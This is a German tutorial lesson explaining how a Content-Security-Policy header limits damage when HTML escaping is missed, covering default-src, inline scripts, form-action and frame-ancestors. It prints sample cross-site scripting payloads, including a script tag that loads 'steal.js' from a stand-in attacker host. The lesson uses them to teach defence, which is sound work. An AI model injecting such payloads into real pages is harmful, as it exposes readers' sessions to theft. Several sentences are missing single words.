0%

HTTPS, Zertifikate und Sicherheits-Header

Header, die einem Browser Anweisungen geben

Die Verbindung ist in Ordnung: Der Client weiß, wer das andere Ende hält. Sieh dir jetzt an, was darüber ankommt. Die Seite deines Dienstes enthält Text, der aus Anfragen stammt, zum Beispiel Buchtitel. In Kapitel 7 hast du einen Aufruf von html.escape zwischen einen Titel und die Seite gesetzt. Wenn auch nur ein einmal übersehen wird, läuft ein Skript, das jemand in einem Titel gespeichert hat, im Browser des Lesers, mit der des Lesers.

Eine einzige Verteidigungslinie ist nicht viel für einen Fehler, der so leicht passiert. Eine zweite Linie muss im Browser leben, denn dort würde das Skript laufen. Der Server kann sie mit einem anfordern.

Eine Policy ist eine Liste von Quellen

Der Header ist Content-Security-Policy. Sein Wert ist eine Policy: eine von Direktiven, getrennt durch Semikolons. Jede Direktive nennt eine Art von Dingen, die eine Seite tut, und listet die Quellen auf, die dafür erlaubt sind. Das ist die Policy, die dein Dienst mit seiner Seite senden wird. Der Header ist eine Zeile; hier ist er nach seinem Namen umbrochen, damit er auf die Seite passt:

content-security-policy:
    default-src 'self'; form-action 'self'; frame-ancestors 'none'

Zerleg ihn so, wie es ein Browser tut. Führ das aus:

Try it

Die erste Zeile ist default-src allows ["'self'"]. default-src ist die Direktive für alles, was eine Seite lädt: Skripte, Bilder, Stylesheets. 'self', mit seinen Anführungszeichen, bedeutet die eigene der Seite, so wie du eine Origin in Kapitel 8 definiert hast: Schema, Host und . default-src 'self' sagt also, dass diese Seite Dinge von ihrer eigenen Origin laden darf und von nirgendwo sonst.

Eine Policy ändert nichts auf dem Server und nichts an der Verbindung. Der Server sendet die Seite so, wie sie ist. Der Header ist eine Anweisung, und nur ein Browser führt sie aus.

wire.py ruft die Seite und ihren Policy-Header ab. Was ändert die Policy?

Was default-src ‘self’ verhindert

Angenommen, das Escapen wird einmal übersehen. Das sind die zwei Fassungen eines Titels in seinem <span class="title"> auf der Seite, escapt und nicht escapt:

&lt;script src="https://other.example/steal.js"&gt;&lt;/script&gt;
<script src="https://other.example/steal.js"></script>

Die zweite Zeile ist ein Script-Element. Unter default-src 'self' weigert sich ein Browser, der dem Standard folgt, es zu laden, weil https://other.example nicht die Origin der Seite ist.

Ein Angreifer braucht allerdings keine andere Site. Das Skript kann in der Seite selbst stehen, zwischen den Tags, oder in einem Attribut wie onclick. Das sind Inline-Skripte. Ein Inline-Skript wird aus keiner Datei geladen, also deckt 'self' es nicht ab. Eine Policy erlaubt Inline-Skripte nur, wenn sie es sagt, mit der Quelle 'unsafe-inline'. Der Name ist eine Warnung. Deine Policy enthält sie nicht, also führt ein Browser auf deiner Seite kein Inline-Skript und keinen Inline-Event-Handler aus.

Hier ist ein Modell dieser Entscheidung. Es deckt zwei Regeln eines langen Standards ab: woher eine Skriptdatei kommt und ob ein Skript inline ist. Führ es aus:

Try it

Die ersten beiden Zeilen sind https://reading.example/app.js True und https://other.example/steal.js False. Diese Policy funktioniert für deine Seite, weil page.html kein eigenes Skript und keine eigenen Styles hat. Eine größere Seite, die Inline-Skripte braucht, listet jedes davon in ihrer Policy mit einer Nonce oder einem Hash auf, und eine neue Policy kann zuerst im Report-only-Modus ausprobiert werden. Das sind Namen zum Wiedererkennen.

Ein übersehenes html.escape lässt <script>alert(1)</script> in die Seite, mit dem Code zwischen den Tags. Die Antwort sagt default-src 'self'. Was macht ein Browser damit?

Was gibt die letzte Zeile des zweiten Blocks aus?

Was sie nicht abdeckt

default-src ist ein Rückfallwert für die Direktiven über das Laden. Zwei der Dinge, die eine Seite tun kann, sind kein Laden, und für sie gilt dieser Rückfall nicht.

Das erste ist, wohin ein Formular auf der Seite seine Felder senden darf. Eingeschleustes Markup könnte das Ziel des Formulars auf eine andere Site ändern. form-action 'self' hält jedes Formular der Seite auf ihre eigene Origin gerichtet.

Das zweite ist, wer die Seite in einem Frame anzeigen darf. Eine andere Site kann deine Seite in einen unsichtbaren Frame setzen und einen Leser dazu bringen, darauf zu klicken, was Clickjacking heißt. frame-ancestors 'none' sagt dem Browser, dass keine Seite diese einrahmen darf. Ein älterer Header, X-Frame-Options, verlangt dasselbe.

Was davon lässt default-src 'self' offen?

Ein zweites Schloss, kein Ersatz

Die Policy macht das Escapen nicht überflüssig. Ohne html.escape kann ein Titel immer noch Markup hinzufügen: eine Überschrift, einen Link, ein Formular, das nach einem Passwort fragt. Kein Skript läuft, und die Seite zeigt trotzdem, was ein Angreifer geschrieben hat. Das Escapen hält die Seite korrekt. Die Policy begrenzt den Schaden, wenn das Escapen einmal übersehen wird. Und die Policy hilft nur in einem Browser, der sie anwendet.

Ist html.escape in render_page() mit dieser Policy noch nötig?

Du kannst die Policy jetzt lesen. Noch trägt keine Antwort deines Dienstes sie. Die nächste Lektion fügt sie hinzu, mit drei weiteren Headern, in einer .